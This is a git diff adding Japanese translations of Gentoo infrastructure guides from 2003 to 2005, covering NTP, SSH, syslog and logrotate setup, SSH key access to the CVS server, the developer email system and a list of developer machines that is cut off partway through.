+</chapter>
+<chapter>
+<title>SELinux FAQ</title>
+<abstract>
+この章ではSELinuxに関する良くある質問とその回答を取り扱います。
+</abstract>
+  <include href="hb-selinux-faq.xml"/>
+</chapter>
+<chapter>
+<title>SELinux参考資料(未訳)</title>
+<abstract>
+これは、SELinuxの外部リファレンスの一覧です。
+</abstract>
+<include href="/proj/en/hardened/selinux/hb-selinux-references.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>SELinuxのトラブルシューティング</title>
+<abstract>
+マシンがトラブルにあったら、SELinuxでは問題を修復するために別の難しさが加わります。
+この章では一般的な問題を修復していきます。
+</abstract>
+<chapter>
+<title>ブート時にポリシーがロードされない</title>
+<abstract>
+この章ではブート時にポリシーがロードされない問題を扱います。
+</abstract>
+  <include href="hb-selinux-initpol.xml"/>
+</chapter>
+<chapter>
+<title>ローカルのログのトラブル(未訳)</title>
+<abstract>
+この章ではコンソール上でのローカルのログの問題を扱います。
+</abstract>
+  <include href="/proj/en/hardened/selinux/hb-selinux-loglocal.xml"/>
+</chapter>
+<chapter>
+<title>リモートのログのトラブル(未訳)</title>
+<abstract>
+この章ではSSHを使用したリモートのログの問題を扱います。
+</abstract>
+  <include href="/proj/en/hardened/selinux/hb-selinux-logremote.xml"/>
+</chapter>
+</part>
+
+</book>
diff --git a/xml/htdocs/proj/ja/infrastructure/config-ntp.xml b/xml/htdocs/proj/ja/infrastructure/config-ntp.xml
new file mode 100644
index 00000000..2cee8e8f
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/config-ntp.xml
@@ -0,0 +1,49 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/ja/infrastructure/config-ntp.xml">
+<title>Gentoo基盤サーバ NTP設定ガイド</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+<abstract>
+このガイドは、どうやってGentoo基幹サーバのNTPを設定するか記載しています。
+</abstract>
+<version>1.0</version>
+<date>03 January, 2005</date>
+<!-- Original revision: 1.5 -->
+
+<chapter>
+<title>NTPが稼働しているGentoo基幹サーバ・ガイドライン</title>
+<section>
+<title>一般ガイドライン</title>
+<body>
+<p>
+NTPはすべてのGentoo基幹サーバにて設定、実行が要求されるサービスです。 下記にNTPのサンプル設定を示します。
+</p>
+<pre caption="/etc/ntp.conf">
+logfile         /var/log/ntpd.log
+driftfile       /var/state/ntp.drift
+
+# 同期するサーバ名
+server ntp.ctr.columbia.edu
+server ntp0.cornell.edu
+server sundial.columbia.edu
+server timex.cs.columbia.edu
+</pre>
+<pre caption="/etc/conf.d/ntp-client">
+NTPCLIENT_CMD="ntpdate"
+NTPCLIENT_OPTS="-b time.orst.edu"
+</pre>
+<p>
+時刻同期を行うときにntpdがシステムログのみを使用するように、ntpdとntp-clientの両方をrc-updateを使ってdefaultのランレベルに加えてください。
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/config-ssh.xml b/xml/htdocs/proj/ja/infrastructure/config-ssh.xml
new file mode 100644
index 00000000..8356b5fc
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/config-ssh.xml
@@ -0,0 +1,74 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/ja/infrastructure/config-ssh.xml">
+<title>Gentoo基幹サーバでのSSH設定ガイド</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+<abstract>
+このガイドは、どうやってGentoo基幹サーバでのOpenSSHを設定するかを記載しています。
+</abstract>
+<version>1.0</version>
+<date>06 July, 2003</date>
+<!-- Original revision: 1.4 -->
+
+<chapter>
+<title>SSHを実行するGentoo基幹サーバ ガイドライン</title>
+<section>
+<title>一般ガイドライン</title>
+<body>
+<p>
+SSHは、現在唯一認められているサーバでのリモートシェルです。
+rsh、telnetやほかのセキュアでない方法は認められていません。
+SSHを設定するときは、次のガイドラインに従ってください。
+</p>
+<ul>
+	<li>SSHv2のみです -- 絶対にsshdをSSH protocol version 1をサポートするように設定しないでください。データを暗号化するときの脆弱性が見つかっています。</li>
+	<li>DSA鍵 -- RSA鍵よりもDSA鍵が好ましいです。</li>
+	<li>rootログインはしない -- リモートのrootログインは許可されていません。 ユーザは通常のIDを使用してログインしsudoもしくはsuを使用してください。</li>
+	<li>パスワード認証はしない -- ユーザにはDSA鍵認証が<b>可能な限り</b>要求されています。</li>
+</ul>
+<note>
+上記に指定されていない限り、/etc/ssh/sshd_configのdefault値が受け入れられ、Gentoo基幹プロジェクトマネジャーの事前承認なしには、書き換えることはできません。
+</note>
+</body>
+</section>
+<section>
+<title>sshd_configファイルサンプル</title>
+<body>
+<p>
+新規のGentoo基幹サーバを、手早く立ち上げるために使用可能な<c>/etc/ssh/sshd_config</c>のサンプルを記載しておきます。
+</p>
+<pre caption="/etc/ssh/sshd_config">
+Port 22
+Protocol 2
+ServerKeyBits 2048
+SyslogFacility AUTH
+LogLevel INFO
+LoginGraceTime 60
+PermitRootLogin no
+RSAAuthentication no
+PubkeyAuthentication yes
+PasswordAuthentication no
+PermitEmptyPasswords no
+PAMAuthenticationViaKbdInt no
+Compression yes
+KeepAlive yes
+ClientAliveInterval 30
+ClientAliveCountMax 4
+</pre>
+<note>
+上記の例では、鍵ベース認証にするため、パスワード認証は無効になっています。
+</note>
+<note>
+サーバのリソース(特にCPUの利用率)は、限られています。
+クライアントに送信される圧縮されたデータのためにCPUの使用率を費やさないために、<c>compression</c>は'no'に設定してもかまいません。
+</note>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/config-syslog.xml b/xml/htdocs/proj/ja/infrastructure/config-syslog.xml
new file mode 100644
index 00000000..620191d5
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/config-syslog.xml
@@ -0,0 +1,101 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/ja/infrastructure/config-syslog.xml">
+<title>Gentoo基幹サーバでのログ取得設定ガイド</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+<abstract>
+このガイドは、Gentoo基幹サーバにてどのようにログ取得が設定されるべきか記載してます。
+</abstract>
+<version>1.0</version>
+<date>18 July, 2003</date>
+<!-- Original revision: 1.3 -->
+
+<chapter>
+<title>syslogdを設定する</title>
+<section>
+<body>
+<p>
+syslogdはすべてのGentoo基幹サーバ上にて設定され、稼働していることが要求されます。
+下記はsyslogdの設定例です。
+</p>
+<pre caption="/etc/syslog.conf">
+#  /etc/syslog.conf     Configuration file for syslogd.
+
+#
+# First some standard logfiles.  Log by facility.
+#
+
+auth,authpriv.*                 /var/log/auth.log
+*.*;auth,authpriv.none          -/var/log/syslog
+cron.*                         /var/log/cron.log
+daemon.*                        -/var/log/daemon.log
+local6.*                        /var/log/rsync.log
+local4.*                        /var/log/ldap.log
+local3.*                        /var/log/xinetd.log
+<comment>
+rsyncd、xinetdなどのサービスがlocalNログを指定して使用するように設定されていることを確認してください。
+</comment>
+
+#
+# Logging for the mail system. Split it up so that
+# it is easy to write scripts to parse these files.
+#
+mail.info                       -/var/log/mail.info
+mail.warn                       -/var/log/mail.warn
+mail.err                        /var/log/mail.err
+<comment>
+qmailとeximは独自のログ機能があるため、Gentooメールサーバではこのセクションはコメントアウトされるべきです。
+</comment>
+</pre>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>logrotateの設定と運用</title>
+<section>
+<body>
+<p>
+<c>logrotate</c>を使用してログのローテーションを行います。
+</p>
+<pre caption="/etc/logrotate.conf">
+# sample logrotate configuration file
+
+/var/log/apache/*.httpd {
+
+        rotate 30
+        daily
+        postrotate
+                /etc/init.d/apache restart
+        endscript
+}
+<comment>
+もしサーバがapacheを走らせていないなら、上記のセクションは削除されるべきです。
+</comment>
+/var/log/*.log  {
+        rotate 14
+        daily
+        postrotate
+                /bin/kill -HUP `pidof syslogd`
+        endscript
+}
+</pre>
+<pre caption="/etc/cron.daily用logrotate.cronスクリプト">
+#! /bin/sh
+
+/usr/sbin/logrotate /etc/logrotate.conf
+</pre>
+<p>
+一般的に、ログは最低でも2週間、ディスク容量が許すのであれば、2週間以上保持されるべきです。
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/cvs-sshkeys.xml b/xml/htdocs/proj/ja/infrastructure/cvs-sshkeys.xml
new file mode 100644
index 00000000..db37bfac
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/cvs-sshkeys.xml
@@ -0,0 +1,135 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/ja/infrastructure/cvs-sshkeys.xml">
+<title>cvs.gentoo.orgへのSSHアクセス</title>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+
+<abstract>
+このミニガイドは、特にcvs.gentoo.orgでのssh鍵の作成方法と使いかたを説明してます。
+</abstract>
+<version>1.0</version>
+<date>3rd of July, 2003</date>
+<!-- Original revision: 1.2 -->
+
+<chapter>
+<title>SSH鍵</title>
+<section>
+<title>SSH鍵を作成する</title>
+<body>
+<p>
+まず最初に、あなたのコンピュータに物理的にログインしてください。 
+われわれはパスフレーズを入力するわけですから、誰もあなたが入力する文字が分からないように確認してください。
+一人になれるよう、催涙スプレーを用意して信用ならない人間を追い出してください。
+</p>
+<p>
+さて、われわれはSSH鍵(正確にはDSA鍵)を作成します。
+cvs.gentoo.orgにアクセスするために使用するコンピュータにログインしてください。
+そして、<c>ssh-keygen -t dsa</c>を実行してください。
+</p>
+<pre caption = "SSH鍵を作成する">
+$ <i>ssh-keygen -t dsa</i>
+Generating public/private dsa key pair.
+Enter file in which to save the key (/home/temp/.ssh/id_dsa): <comment>(エンターを押してください)</comment>
+Created directory '/home/temp/.ssh'.
+Enter passphrase (empty for no passphrase): <comment>(パスフレーズを入力してください)</comment>
+Enter same passphrase again: <comment>(再度パスフレーズを入力してください)</comment>
+Your identification has been saved in /home/temp/.ssh/id_dsa.
+Your public key has been saved in /home/temp/.ssh/id_dsa.pub.
+The key fingerprint is:
+85:35:81:a0:87:56:78:a2:da:53:6c:63:32:d1:34:48 temp@Niandra
+</pre>
+<note>
+あなたの秘密鍵には、必ず強力なパスフレーズを設定してください。
+原則としては、このパスフレーズは最低8文字で、アルファベット、数字、記号を混ぜたものにするべきです。
+</note>
+<p>
+さて、簡単でしたよね? 何が出来たかみてみましょう。
+</p>
+<pre caption = "作成されたファイル">
+# <i>ls ~/.ssh</i>
+id_dsa  id_dsa.pub
+</pre>
+<p>
+たぶん、上記以上のファイルが作成されたと思います。
+しかし、上記の2つのファイルが重要なファイルになります。
+</p>
+<p>
+最初のファイル、<path>id_dsa</path>があなたの<e>秘密</e>鍵になります。
+drobbinsとケンカしたくないなら(いや、ほんとに)、このファイルを他の人に配布しないでください。
+</p>
+<warn>
+もし、あなたが複数の(<e>信頼できる</e>)ホストからcvs.gentoo.orgにアクセスしたいなら、そのホストの<path>~/.ssh</path>ディレクトリに<path>id_dsa</path>を、コピーしてください。
+</warn>
+<p>
+二番のファイル、<path>id_dsa.pub</path>はあなたの<e>公開</e>鍵です。
+このファイルを、SSH公開鍵認証を通してアクセスできるようにしたいすべてのホストに配布してください。
+リモートホスト上の<path>~/.ssh/authorized_keys</path>に追加してください。
+また、もしあなたが複数のPCを所有しているのであれば、それらにもこのファイルをコピーしてください。
+</p>
+<pre caption = "SSH鍵をPCに追加する">
+$ <i>cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys</i>
+</pre>
+</body>
+</section>
+<section>
+<title>cvs.gentoo.orgに鍵を追加する</title>
+<body>
+<p>
+cvs.gentoo.orgはSSH鍵ペア認証でのみアクセス可能ですので、
+cvs.gentoo.orgに公開鍵をアップロードする必要があります。
+これを行うには次の手順に従ってください。
+</p>
+<p>
+dev.gentoo.orgに鍵をアップロードして<path>~/.ssh/authorized_keys</path>に置いてください。
+</p>
+
+<pre caption = "公開鍵をアップロードする">
+$ <i>ssh -l あなたの名前 dev.gentoo.org mkdir .ssh</i>
+$ <i>scp .ssh/id_dsa.pub あなたの名前@dev.gentoo.org:.ssh/authorized_keys</i>
+Password: <comment>(あなたのdev.gentoo.org/cvs.gentoo.orgのパスワードを入力してください)</comment> 
+</pre>
+
+<p>
+cvs.gentoo.orgがdev.gentoo.orgの<path>authorized_keys</path>からコピーできるように、最大一時間待ってください。
+</p>
+</body>
+</section>
+<section>
+<title>keychainを使う</title>
+<body>
+<p>
+あなたがSSH公開鍵認証を使ってリモートホストにログインするたびに、パスフレーズを入力するようにきかれます。
+みなさんはタイピングがお好きでしょうが、あまりにもタイピングが多いと嫌になるわけです。
+幸運にも、<c>keychain</c>が助けになるでしょう。
+<uri link="http://www.gentoo.org/proj/en/keychain.xml">ここ</uri>に文書がありますが、簡単な説明をしていきます。 
+</p>
+<p>
+最初に、<c>keychain</c>をインストールします。
+</p>
+<pre caption = "keychainをインストールする">
+# <i>emerge keychain</i>
+</pre>
+<p>
+あなたがローカルのPCにログインするとき、keychainはあなたの秘密鍵を読み込みます。
+そうするためには、<path>~/.bash_profile</path>を以下に説明するように変更してください。
+もう一度言いますが、これは、Gentoo CVSにアクセスしたい<e>ローカル</e>のPCにだけ行うべきです。
+</p>
+<pre caption = ".bash_profileにこれを追加する">
+keychain ~/.ssh/id_dsa
+. .keychain/<comment>hostname</comment>-sh
+</pre>
+<p>
+<c>hostname</c>を、あなたのホスト名に置き換えてください。
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/dev-email.xml b/xml/htdocs/proj/ja/infrastructure/dev-email.xml
new file mode 100644
index 00000000..e1f7f0b6
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/dev-email.xml
@@ -0,0 +1,318 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link = "/proj/ja/infrastructure/dev-email.xml">
+<title>GentooEメールシステム</title>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+    <mail link="ramereth@gentoo.org">Lance Albertson</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+
+<abstract>
+本文書は、Gentoo開発者としてのあなたに、われわれの新しいEメールシステムがどういったものかを説明します。
+</abstract>
+<version>1.2.1</version>
+<date>May 4, 2005</date>
+<!-- Original revision: 1.18 -->
+
+<!-- This doesn't look good, can be handy though. Commenting out
+     untill someone wants it. How's that for anticipation :)
+
+<chapter>
+<title>内容</title>
+<section>
+<title>Gentoo開発者のEメールでできること</title>
+<body>
+<ul>
+<li><uri link="#doc_chap2_sect1">はじめに</uri></li>
+<li><uri link="#doc_chap2_sect2">Eメールの転送</uri></li>
+<li><uri link="#doc_chap2_sect3">dev.gentoo.orgのメールボックスを使う</uri></li>
+</ul>
+</body>
+</section>
+<section>
+<title>dev.gentoo.orgを使ってメールする</title>
+<body>
+<ul>
+<li><uri link="#doc_chap3_sect1">pop3sを使ってdev.gentoo.orgにアクセスする</uri></li>
+<li><uri link="#doc_chap3_sect2">imapsを使ってdev.gentoo.orgにアクセスする</uri></li>
+<li><uri link="#doc_chap3_sect3">メールリレーサーバとしてdev.gentoo.orgを使う</uri></li>
+</ul>
+</body>
+</section>
+<section>
+<title>よく聞かれる/望まれる質問</title>
+<body>
+<ul>
+<li><uri link="#doc_chap4_sect1">dev.gentoo.orgが停止するとどうなりますか?</uri></li>
+<li><uri link="#doc_chap4_sect2">dev.gentoo.orgでprocmailが使えますか?</uri></li>
+<li><uri link="#doc_chap4_sect3">私のホームディレクトリのEメールやその他のファイルは定期的にバックアップされますか?</uri></li>
+</ul>
+</body>
+</section>
+</chapter>
+
+-->
+
+<chapter>
+<title>Gentoo開発者のEメールでできること</title>
+<section>
+<title>はじめに</title>
+<body>
+<p>
+この文書は、あなたのgentoo.orgのEメールアドレスをチェックするためのいくつかのオプションに関して説明しています。
+Eメールを特定のアドレスに転送することもできますし、dev.gentoo.orgサーバにEメールを置いておいてあなたの好みのEメールクライアントを使用してpop3sやimaps(POP3とIMAPのセキュリティ強化版です)などでアクセスすることを選択することが可能です。
+</p>
+</body>
+</section>
+<section>
+<title>Eメールを転送する</title>
+<body>
+<p>
+もしEメールを別のアドレスに転送したい場合は、dev.gentoo.orgにログインして<path>~/.forward</path>に転送先のEメールアドレスを記述してください。
+dev.gentoo.orgにログインするのは、cvs.gentoo.orgにログインすることと似ています、同じ鍵を使用します。
+</p>
+<pre caption = "別のEメールアドレスにメールを転送する">
+$ <i>ssh -l username dev.gentoo.org</i>
+username@emu username $ <i>echo new.e-mail@address.com &gt; ~/.forward</i>
+username@emu username $ <i>exit</i>
+</pre>
+<note>
+新しいEメールシステムになる前の開発者で、新しいメールアドレスに転送したい場合は、なにもする必要はありません。
+われわれはすでに<path>~/.forward</path>をすでに作成し新しいEメールシステムのアドレスを記述してあります。
+</note>
+<p>
+もし、転送先のEメールアドレスを変更したい場合は、<path>~/.forward</path>に記述してあるアドレスを変更してください。
+</p>
+</body>
+</section>
+<section>
+<title>dev.gentoo.orgのメールボックスを使う</title>
+<body>
+<p>
+もしdev.gentoo.orgのメールボックスを使いたい場合は、ホームディレクトリに<path>~/.forward</path>がないことを確認してください。
+これを確認するには、当たり前ですがdev.gentoo.orgにアクセスする必要があります。
+dev.gentoo.orgにアクセスすることは、cvs.gentoo.orgにアクセスすることと全く異なりません。 同じ鍵を使います。
+</p>
+<pre caption = "~/.forwardを消す">
+$ <i>ssh -l username dev.gentoo.org rm ~/.forward</i>
+</pre>
+<p>
+dev.gentoo.orgのメールボックスに関していくつか知っておくことがあります。
+</p>
+<ul>
+<li>dev.gentoo.orgに保存しておくことができるデータ量の<e>割り当て</e>が決まっています。
+現在は100Mbが割り当てられています。 割当量を超えてしまってメールを受信できなくなることは、まずないでしょう。
+しかしながら、旅行などに行く予定があって、割当量を超えてしまうと思うのでしたら、割当量が決まっていないメールアドレスに転送することです。
+</li>
+<li>pop3sかimapsを使ってのみアクセスすることが可能です(次の章をみてください)。</li>
+<li>
+dev.gentoo.orgにはEメールクライアントがローカルにインストールされています(正確に言うのであれば、<c>mutt</c>と<c>pine</c>です)。
+どうやって、これらのEメールクライアントを使うのか分かる場合のみ使ってください。
+</li>
+<li>
+メールボックスにアクセスするためのパスワードは、dev.gentoo.orgで<c>passwd</c>を使って設定したパスワードを使用します。
+</li>
+</ul>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>dev.gentoo.orgを使ってメールする</title>
+<section>
+<title>pop3sを使ってdev.gentoo.orgにアクセスする</title>
+<body>
+<p>
+pop3sはセキュリティ強化版のPOP3(Post Office Protocol version 3)です。
+POP3はプルプロトコル、サーバからあなたのローカルディスクにメールを取り込みます。
+</p>
+<p>
+次の設定を使って、あなたの好みのEメールクライアントのpop3sを設定してください。
+</p>
+<ul>
+<li><e>POP3サーバ</e>: dev.gentoo.org</li>
+<li><e>SSL使う</e>: はい</li>
+<li><e>アカウント</e>: あなたのユーザネーム</li>
+<li><e>パスワード</e>: あなたのdev.gentoo.orgのパスワード</li>
+</ul>
+<warn>
+SSLなしのPOP3はサポート<e>されていません</e>。 なぜならパスワードをテキストそのままで送信するからです。
+</warn>
+<p>
+例えば、<c>fetchmail</c>を使ってEメールを取り込んでいるのなら、<path>.fetchmailrc</path>は以下のようになります。
+</p>
+<pre caption = "fetchmailrc">
+poll dev.gentoo.org proto pop3 
+    user <i>username</i> pass <i>password</i> nokeep ssl
+</pre>
+<p>
+もしあなたが、<c>sylpheed</c>をEメールクライアントとして使っているなら、新規のアカウントを作成して、<e>Receive</e>タブがPOP3の設定になっており、<e>SSL</e>タブで<e>Use SSL for POP3 connection</e>が選択されていることを確認してください。
+</p>
+<p>
+<c>mutt</c>を使っているなら、これはあなた自身で設定することができるでしょう。
+</p>
+</body>
+</section>
+<section>
+<title>imapsを使ってdev.gentoo.orgにアクセスする</title>
+<body>
+<p>
+imapsはセキュリティ強化版のIMAP(Internet Message Access Protocol version 4)です。
+IMAPはプッシュプロトコルで、Eメールはリモートのサーバ上に保存され、複数のメールボックスをサーバ上で管理できます。
+</p>
+<p>
+次の設定を使って、あなたの好みのEメールクライアントのimapsを設定してください。
+</p>
+<ul>
+<li><e>IMAPサーバ</e>: dev.gentoo.org</li>
+<li><e>SSLを使う</e>: はい</li>
+<li><e>アカウント</e>: あなたのユーザネーム</li>
+<li><e>パスワード</e>: あなたのdev.gentoo.orgのパスワード</li>
+</ul>
+<warn>
+SSLなしのIMAPはサポート<e>されていません</e>。 なぜならパスワードをテキストそのままで送信するからです。
+</warn>
+<note>
+dev.gentoo.orgのパスワードはcvs.gentoo.orgで使われているものと同じです(現在はSSH鍵のみです)。
+もし、あなたのパスワードが分からない場合は、<mail link="klieber@gentoo.org">klieber</mail>か<mail link="peitolm@gentoo.org">peitolm</mail>に、あなたのパスワードをリセットするようきいてください。
+</note>
+<p>
+例えば、<c>fetchmail</c>を使ってEメールを取り込んでいるのなら、<path>.fetchmailrc</path>は以下のようになります。
+</p>
+<pre caption = "fetchmailrc">
+poll dev.gentoo.org proto imap
+    user <i>username</i> pass <i>password</i> nokeep ssl
+</pre>
+<p>
+<c>mutt</c>を使っているなら、これはあなた自身で設定することができるでしょう。
+</p>
+</body>
+</section>
+<section>
+<title>dev.gentoo.orgをメールリレーサーバとして使用する</title>
+<body>
+<warn>
+これは、<e>本当に</e>必要な場合のみにしてください。 可能な限りあなたのISPのリレーサーバを使用してください。
+</warn>
+<p>
+もし、絶望的にリレーサーバを使う必要があり、ほかにEメールを送る手段がなければ、dev.gentoo.orgをリレーサーバとして使うことが出来ます。
+これを行う場合は、まずパスワードを提供する必要があります(あなたのdev.gentoo.orgのパスワードではありません)。
+</p>
+<pre caption = "auth-smtpのためにパスワードを設定する">
+$ <i>ssh -l username dev.gentoo.org</i>
+username@emu username $ <i>echo "ChosenPassword" > ~/.asmtppasswd</i>
+username@emu username $ <i>chmod 0740 ~/.asmtppasswd</i>
+username@emu username $ <i>chmod o+x ~/</i>
+username@emu username $ <i>exit</i>
+</pre>
+<impo>
+asmtpパスワードに、通常使用しているログインパスワードを<b>使用しない</b>でください。
+代わりに、ランダムなパスワードを選択して使用するか、<c>emerge makepasswd</c>でパッケージをインストールして、<c>makepasswd --char=8</c>を実行して、パスワードを生成してください。
+</impo>
+<note>
+~/.asmtppasswdは'mail'グループが所有者である必要があります。
+これはdefault設定のはずです。
+もし、あなたの~/.asmtppasswdのグループ所有者が異なるグループである場合、cron-jobがパーミッションを修正するまで1時間待ってください。
+</note>
+<note>
+ポート25を使用してメールを送付出来ない開発者のために、dev.gentoo.orgはTCPポート587もインバウンドSMTP接続として受け入れます。
+</note>
+<p>
+では、あなたのEメールクライアントをdev.gentoo.orgをSMTPサーバとして使えるように設定します。
+サーバが認証を使うかを、きかれた場合は<e>はい</e>を選択してください。
+もし、選択肢があるならば、<e>cram-md5</e>をハッシュ方法として選択してください。
+あなたのユーザネームと上記で作成したパスワードを認証に使ってください。
+</p>
+</body>
+</section>
+<section>
+<title>procmailルールをSpamassasinとClamavのために設定する</title>
+<body>
+<p>
+もし、あなたのメールをスパムもしくはウィルススキャンしたい場合は、以下のprocmailのルールを使用して設定してください。
+</p>
+<pre caption = "~/.procmailrc">
+:0fw: spamassassin.lock
+ * &lt; 256000
+ | /usr/bin/spamc
+
+ :0fBHw: clamassassin.lock
+ * ^Content\-(?:Disposition|Transfer-Encoding|Type)\: (?:attachment|base64|multipart)
+ | /usr/bin/clamassassin
+
+ :0:
+ * ^X-Spam-Status: Yes
+ .spam/
+
+ :0:
+ * ^X-Virus-Status: Yes
+ .virus/
+</pre>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>よく聞かれる/望まれる質問</title>
+<section>
+<title>dev.gentoo.orgが停止するとどうなりますか?</title>
+<body>
+<p>
+dev.gentoo.orgが停止した時、Eメールはmail.gentoo.orgのメールキューに待機してev.gentoo.orgが立ち上がったときに、届けられるようになります。
+</p>
+</body>
+</section>
+<section>
+<title>dev.gentoo.orgでprocmailが使えますか?</title>
+<body>
+<p>
+はい、使えます。 次の内容の<path>~/.forward</path>ファイルを作成する必要があります。
+</p>
+<pre caption="procmail使用のための~/.forward">
+| /usr/bin/procmail
+</pre>
+</body>
+</section>
+<section>
+<title>dev.gentoo.orgでSpamAssassinが使えますか?</title>
+<body>
+<p>
+はい、使えます。
+</p>
+</body>
+</section>
+<section>
+<title>なぜ、システム全体でスパムやウィルスフィルタを使わないのですか?</title>
+<body>
+<p>
+スパムとウィルスフィルタは100%正確なわけではありませんし、これらのツールを使うことで、健全なEメールをフィルタしてしまう可能性があります。
+結果として、インフラストラクチャチームはこれらのツールを開発者に必要であれば、使えるように準備しました。
+</p>
+</body>
+</section>
+<section>
+<title>私のホームディレクトリのEメールやその他のファイルは定期的にバックアップされますか?</title>
+<body>
+<p>
+いいえ、重要なファイルやメールをバックアップするのは、個人の責任となります。
+</p>
+</body>
+</section>
+<section>
+<title>dev.gentoo.orgから、もしくはdev.gentoo.orgへファイルをコピーしたい場合はどうしますか?</title>
+<body>
+<p>
+<c>scp</c>を使ってください。
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/dev-machines.xml b/xml/htdocs/proj/ja/infrastructure/dev-machines.xml
new file mode 100644
index 00000000..48ff7c19
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/dev-machines.xml
@@ -0,0 +1,200 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link = "dev-machines.xml">
+<title>Gentoo開発者/テスト機</title>
+<author title="Author">
+    <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Editor">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+
+<abstract>
+この文章は、Gentoo開発者が特に開発目的で利用できるコンピュータを説明しています。
+</abstract>
+<version>1.1</version>
+<date>July 12, 2004</date>
+<!-- Original revision: 1.37 -->
+
+<chapter>
+<title>Gentoo開発者ホスト</title>
+
+<section>
+<title>はじめに</title>
+<body>
+<p>
+この文書は、特定目的のGentoo開発のために必要なコンピュータに関して説明しています。
+多くの場合、異なるアーキテクチャの高速ビルドPCにアクセスするための方法です。
+ほとんどのホストは開発者によって提供され管理されています。
+このページは開発者が、これらのホストにアクセスが出来るように提供されています。
+特定の実装は管理者に任されています(ほとんどの場合、所有者ですが)。
+</p>
+</body>
+</section>
+
+<section>
+<title>開発PC</title>
+<body>
+
+<table>
+ <tr>
+  <th>アーキテクチャ</th>
+  <th>DNS</th>
+  <th>連絡先</th>
+  <th>CPU</th>
+  <th>RAM</th>
+  <th>その他</th>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>pitr.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+  <ti>2xOpteron 842 ~1.6GHz</ti>
+  <ti>2.0G</ti>
+  <ti><uri link="http://amd.com/">AMD</uri>からGentoo FoundationとGentoo/AMD64への寄付</ti>
+ </tr>
+
+<tr>
+   <ti>amd64</ti>
+   <ti>dustpuppy.amd64.dev.gentoo.org</ti>
+   <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+   <ti>2xOpteron 842 ~1.6GHz</ti>
+   <ti>1.0G</ti>
+  <ti><uri link="http://amd.com/">AMD</uri>からGentoo FoundationとGentoo/AMD64への寄付</ti>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>sid.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:hparker@gentoo.org">Homer Parker</uri></ti>
+  <ti>1xIntel(R) Pentium(R) D CPU 2.80GHz</ti>
+  <ti>2.0G</ti>
+  <ti>On extended loan from <uri link="http://www.gen-ux.com/">GenUX</uri></ti>
+ </tr>
+
+ <tr>
+  <ti>arm</ti>
+  <ti><uri link="http://gentoo.org/~vapier/pics/arm-netwinder/">coral.arm.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>StrongARM110 ~275MHz</ti>
+  <ti>128M</ti>
+  <ti>Netwinderと10G HD</ti>
+ </tr>
+
+ <tr>
+  <ti>hppa</ti>
